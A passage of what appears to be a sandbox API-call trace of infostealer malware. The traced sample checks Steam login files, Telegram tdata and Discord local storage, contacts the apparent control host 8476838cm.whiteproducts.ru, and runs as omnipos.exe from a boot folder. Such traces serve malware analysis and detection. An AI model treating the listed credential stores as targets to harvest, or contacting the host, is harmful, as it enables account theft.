MessageText=0x1b19cf10 | out: MessageText=0x1b19cf10*="Invalid query ") returned 0x0 [0112.352] SysStringByteLen (bstr="Invalid query ") returned 0x1c [0112.361] CoGetContextToken (in: pToken=0x1b1996e0 | out: pToken=0x1b1996e0) returned 0x0 [0112.361] IUnknown:Release (This=0x1c26b650) returned 0x1 [0112.362] IUnknown:Release (This=0x1c26b650) returned 0x0 [0112.411] waveInGetNumDevs () returned 0x1 [0113.023] waveInGetDevCapsW (in: uDeviceID=0x0, pwic=0x1b19d038, cbwic=0x94 | out: pwic=0x1b19d038) returned 0x0 [0113.072] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19d028 | out: phkResult=0x1b19d028*=0x0) returned 0x2 [0113.077] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19a9b8 | out: phkResult=0x1b19a9b8*=0x0) returned 0x2 [0113.084] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19d018 | out: phkResult=0x1b19d018*=0x0) returned 0x2 [0113.086] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19a9a8 | out: phkResult=0x1b19a9a8*=0x0) returned 0x2 [0113.092] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19d018 | out: phkResult=0x1b19d018*=0x0) returned 0x2 [0113.094] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19a9a8 | out: phkResult=0x1b19a9a8*=0x0) returned 0x2 [0113.128] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19ceb8 | out: phkResult=0x1b19ceb8*=0x0) returned 0x2 [0113.130] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19a848 | out: phkResult=0x1b19a848*=0x0) returned 0x2 [0113.132] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19cec8 | out: phkResult=0x1b19cec8*=0x0) returned 0x2 [0113.134] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19a858 | out: phkResult=0x1b19a858*=0x0) returned 0x2 [0113.141] GetFullPathNameW (in: lpFileName="Unknown\\config\\loginusers.vdf", nBufferLength=0x105, lpBuffer=0x1b19c900, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\Unknown\\config\\loginusers.vdf", lpFilePart=0x0) returned 0x2d [0113.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b19ce18) returned 1 [0113.142] CreateFileW (lpFileName="C:\\hyperWinhost\\Unknown\\config\\loginusers.vdf" (normalized: "c:\\hyperwinhost\\unknown\\config\\loginusers.vdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0113.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b199798) returned 1 [0113.223] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19ced8 | out: phkResult=0x1b19ced8*=0x0) returned 0x2 [0113.225] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Valve\\Steam", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19a868 | out: phkResult=0x1b19a868*=0x0) returned 0x2 [0113.231] GetFullPathNameW (in: lpFileName="Unknown\\steamapps\\common", nBufferLength=0x105, lpBuffer=0x1b19cb20, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\Unknown\\steamapps\\common", lpFilePart=0x0) returned 0x28 [0113.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b19cd38) returned 1 [0113.231] GetFileAttributesExW (in: lpFileName="C:\\hyperWinhost\\Unknown\\steamapps\\common" (normalized: "c:\\hyperwinhost\\unknown\\steamapps\\common"), fInfoLevelId=0x0, lpFileInformation=0x1b19d060 | out: lpFileInformation=0x1b19d060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0113.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b19cce8) returned 1 [0114.238] RegOpenKeyExW (in: hKey=0xffffffff80000000, lpSubKey="tdesktop.tg\\shell\\open\\command", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19cef8 | out: phkResult=0x1b19cef8*=0x0) returned 0x2 [0114.914] GetFullPathNameW (in: lpFileName="\\tdata", nBufferLength=0x105, lpBuffer=0x1b19ca70, lpFilePart=0x0 | out: lpBuffer="C:\\tdata", lpFilePart=0x0) returned 0x8 [0114.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b19cc88) returned 1 [0114.914] GetFileAttributesExW (in: lpFileName="C:\\tdata" (normalized: "c:\\tdata"), fInfoLevelId=0x0, lpFileInformation=0x1b19cfb0 | out: lpFileInformation=0x1b19cfb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0114.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b19cc38) returned 1 [0114.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b19cc88) returned 1 [0114.970] GetFileAttributesExW (in: lpFileName="C:\\tdata" (normalized: "c:\\tdata"), fInfoLevelId=0x0, lpFileInformation=0x1b19cfb0 | out: lpFileInformation=0x1b19cfb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0114.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b19cc38) returned 1 [0114.976] CoTaskMemAlloc (cb=0x20c) returned 0x1c1ceba0 [0114.976] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1c1ceba0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 0x0 [0114.976] CoTaskMemFree (pv=0x1c1ceba0) [0114.976] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x1b19c9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming", lpFilePart=0x0) returned 0x22 [0114.976] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\", nBufferLength=0x105, lpBuffer=0x1b19cb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\", lpFilePart=0x0) returned 0x41 [0114.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b19cd88) returned 1 [0114.977] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\discord\\local storage\\leveldb"), fInfoLevelId=0x0, lpFileInformation=0x1b19d0b0 | out: lpFileInformation=0x1b19d0b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0114.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b19cd38) returned 1 Thread: id = 244 os_tid = 0xc5c Thread: id = 245 os_tid = 0x8fc Thread: id = 246 os_tid = 0xd60 Thread: id = 247 os_tid = 0xdb4 Thread: id = 249 os_tid = 0xa48 [0103.640] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0103.641] CoGetContextToken (in: pToken=0x1bbcfba0 | out: pToken=0x1bbcfba0) returned 0x0 [0103.641] CObjectContext::QueryInterface () returned 0x0 [0103.641] CObjectContext::GetCurrentThreadType () returned 0x0 [0103.641] Release () returned 0x0 [0103.641] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0103.641] CoUninitialize () Thread: id = 251 os_tid = 0xa44 Thread: id = 252 os_tid = 0xa78 [0105.826] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0106.370] CoUninitialize () Thread: id = 258 os_tid = 0xdd8 Thread: id = 259 os_tid = 0xdf8 [0108.390] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0108.393] ResetEvent (hEvent=0x24c) returned 1 Thread: id = 261 os_tid = 0xd78 Thread: id = 262 os_tid = 0xd90 [0109.699] CoGetContextToken (in: pToken=0x1af6fb70 | out: pToken=0x1af6fb70) returned 0x0 [0109.699] CObjectContext::QueryInterface () returned 0x0 [0109.699] CObjectContext::GetCurrentThreadType () returned 0x0 [0109.699] Release () returned 0x0 [0109.699] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 265 os_tid = 0xd88 Thread: id = 266 os_tid = 0xd70 [0110.537] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0110.538] CoGetContextToken (in: pToken=0x1c4df900 | out: pToken=0x1c4df900) returned 0x0 [0110.538] CObjectContext::QueryInterface () returned 0x0 [0110.538] CObjectContext::GetCurrentThreadType () returned 0x0 [0110.538] Release () returned 0x0 [0110.538] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0110.538] CoUninitialize () Thread: id = 267 os_tid = 0xa84 [0110.541] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0110.655] CoUninitialize () Thread: id = 268 os_tid = 0xa80 [0110.653] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0110.869] GetAddrInfoW (in: pNodeName="8476838cm.whiteproducts.ru", pServiceName=0x0, pHints=0x1c75edf8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1c75ed40 | out: ppResult=0x1c75ed40*=0x1c2b98f0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="8476838cm.whiteproducts.ru", ai_addr=0x1c2c8bf0*(sa_family=2, sin_port=0x0, sin_addr="152.70.141.241"), ai_next=0x0)) returned 0 [0110.979] FreeAddrInfoW (pAddrInfo=0x1c2b98f0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="8476838cm.whiteproducts.ru", ai_addr=0x1c2c8bf0*(sa_family=2, sin_port=0x0, sin_addr="152.70.141.241"), ai_next=0x0)) [0111.000] IcmpCreateFile () returned 0x1a70b5f0 [0111.032] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1c302b20 [0111.032] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1c256330 [0111.033] IcmpSendEcho2 (in: IcmpHandle=0x1a70b5f0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0xfffffffff18d4698, RequestData=0x1c256330, RequestSize=0x20, RequestOptions=0x1c75ee70, ReplyBuffer=0x1c302b20, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1c302b20) returned 0x1 [0111.289] LocalFree (hMem=0x1c256330) returned 0x0 [0111.293] GetAddrInfoW (in: pNodeName="8476838cm.whiteproducts.ru", pServiceName=0x0, pHints=0x1c75edf8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1c75ed40 | out: ppResult=0x1c75ed40*=0x1c2ba970*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="8476838cm.whiteproducts.ru", ai_addr=0x1c2c8ef0*(sa_family=2, sin_port=0x0, sin_addr="152.70.141.241"), ai_next=0x0)) returned 0 [0111.332] FreeAddrInfoW (pAddrInfo=0x1c2ba970*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="8476838cm.whiteproducts.ru", ai_addr=0x1c2c8ef0*(sa_family=2, sin_port=0x0, sin_addr="152.70.141.241"), ai_next=0x0)) [0111.333] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1c256840 [0111.333] IcmpSendEcho2 (in: IcmpHandle=0x1a70b5f0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0xfffffffff18d4698, RequestData=0x1c256840, RequestSize=0x20, RequestOptions=0x1c75ee70, ReplyBuffer=0x1c302b20, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1c302b20) returned 0x0 [0111.547] LocalFree (hMem=0x1c256840) returned 0x0 [0111.547] GetAddrInfoW (in: pNodeName="8476838cm.whiteproducts.ru", pServiceName=0x0, pHints=0x1c75edf8*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1c75ed40 | out: ppResult=0x1c75ed40*=0x1c2badb0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="8476838cm.whiteproducts.ru", ai_addr=0x1c2c9030*(sa_family=2, sin_port=0x0, sin_addr="152.70.141.241"), ai_next=0x0)) returned 0 [0111.563] FreeAddrInfoW (pAddrInfo=0x1c2badb0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="8476838cm.whiteproducts.ru", ai_addr=0x1c2c9030*(sa_family=2, sin_port=0x0, sin_addr="152.70.141.241"), ai_next=0x0)) [0111.563] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1c2570e0 [0111.563] IcmpSendEcho2 (in: IcmpHandle=0x1a70b5f0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0xfffffffff18d4698, RequestData=0x1c2570e0, RequestSize=0x20, RequestOptions=0x1c75ee70, ReplyBuffer=0x1c302b20, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1c302b20) returned 0x1 [0112.077] LocalFree (hMem=0x1c2570e0) returned 0x0 Thread: id = 269 os_tid = 0xd74 [0111.073] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0111.077] SetConsoleCtrlHandler (HandlerRoutine=0x1af914dc, Add=1) returned 1 [0111.078] GetModuleHandleW (lpModuleName=0x0) returned 0x830000 [0111.078] GetModuleHandleW (lpModuleName=0x0) returned 0x830000 [0111.080] GetClassInfoW (in: hInstance=0x830000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.25468f2.0", lpWndClass=0x23f0fe8 | out: lpWndClass=0x23f0fe8) returned 0 [0111.081] CoTaskMemAlloc (cb=0x58) returned 0x1c29bbe0 [0111.081] RegisterClassW (lpWndClass=0x1c94e760) returned 0xc1c1 [0111.081] CoTaskMemFree (pv=0x1c29bbe0) [0111.083] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.25468f2.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.25468f2.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x830000, lpParam=0x0) returned 0x1502fc [0111.085] NtdllDefWindowProc_W (hWnd=0x1502fc, Msg=0x81, wParam=0x0, lParam=0x1c94e0e0) returned 0x1 [0111.088] NtdllDefWindowProc_W (hWnd=0x1502fc, Msg=0x83, wParam=0x0, lParam=0x1c94e190) returned 0x0 [0111.089] NtdllDefWindowProc_W (hWnd=0x1502fc, Msg=0x1, wParam=0x0, lParam=0x1c94e080) returned 0x0 [0111.089] NtdllDefWindowProc_W (hWnd=0x1502fc, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0111.089] NtdllDefWindowProc_W (hWnd=0x1502fc, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0111.089] SetEvent (hEvent=0x618) returned 1 [0111.100] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0111.295] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0111.463] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0111.655] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0112.195] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0112.316] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0112.458] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0113.024] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0113.202] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0114.102] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0114.685] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0115.029] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0115.192] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0115.310] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x0 [0115.411] PeekMessageW (lpMsg=0x1c94e9f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1) [0115.411] NtdllDefWindowProc_W (hWnd=0x1502fc, Msg=0x3b, wParam=0x50e, lParam=0x0) returned 0x1 [0115.416] NtdllDefWindowProc_W (hWnd=0x1502fc, Msg=0x46, wParam=0x0, lParam=0x1c94e860) returned 0x0 [0115.417] NtdllDefWindowProc_W (hWnd=0x1502fc, Msg=0x47, wParam=0x0, lParam=0x1c94e860) returned 0x0 [0115.417] NtdllDefWindowProc_W (hWnd=0x1502fc, Msg=0x1c, wParam=0x1, lParam=0xbfc) returned 0x0 [0115.417] NtdllDefWindowProc_W (hWnd=0x1502fc, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0115.417] NtdllDefWindowProc_W (hWnd=0x1502fc, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0115.425] NtdllDefWindowProc_W (hWnd=0x1502fc, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0115.429] NtdllDefWindowProc_W (hWnd=0x1502fc, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0115.430] NtdllDefWindowProc_W (hWnd=0x1502fc, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0115.430] NtdllDefWindowProc_W (hWnd=0x1502fc, Msg=0x3b, wParam=0x50c, lParam=0x0) returned 0x2 [0115.430] NtdllDefWindowProc_W (hWnd=0x1502fc, Msg=0x16, wParam=0x1, lParam=0x0) returned 0x0 Process: id = "75" image_name = "omnipos.exe" filename = "c:\\boot\\zh-cn\\omnipos.exe" page_root = "0x39ab4000" os_pid = "0xa4c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0xfb4" cmd_line = "C:\\Boot\\zh-CN\\omnipos.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 6302 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 6303 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 6304 start_va = 0x240000 end_va = 0x317fff monitored = 1 entry_point = 0x30f1ee region_type = mapped_file name = "omnipos.exe" filename = "\\Boot\\zh-CN\\omnipos.exe" (normalized: "c:\\boot\\zh-cn\\omnipos.exe") Region: id = 6305 start_va = 0x3d0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 6306 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6307 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 6308 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6309 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 6310 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 6311 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 6312 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 6313 start_va = 0x40000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 6314 start_va = 0x7fef70d0000 end_va = 0x7fef713efff monitored = 1 entry_point = 0x7fef70d1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 6315 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 6316 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 6320 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 6321 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 6322 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 6345 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6346 start_va = 0xb0000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 6347 start_va = 0x190000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 6348 start_va = 0x4d0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 6364 start_va = 0x5d0000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 6365 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 6366 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 6367 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 6368 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 6372 start_va = 0x770000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 6373 start_va = 0x5d0000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 6374 start_va = 0x6f0000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 6629 start_va = 0x7fef7020000 end_va = 0x7fef70c8fff monitored = 1 entry_point = 0x7fef7021010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 6630 start_va = 0x7fef9890000 end_va = 0x7fef9892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 6631 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 6632 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 6633 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = 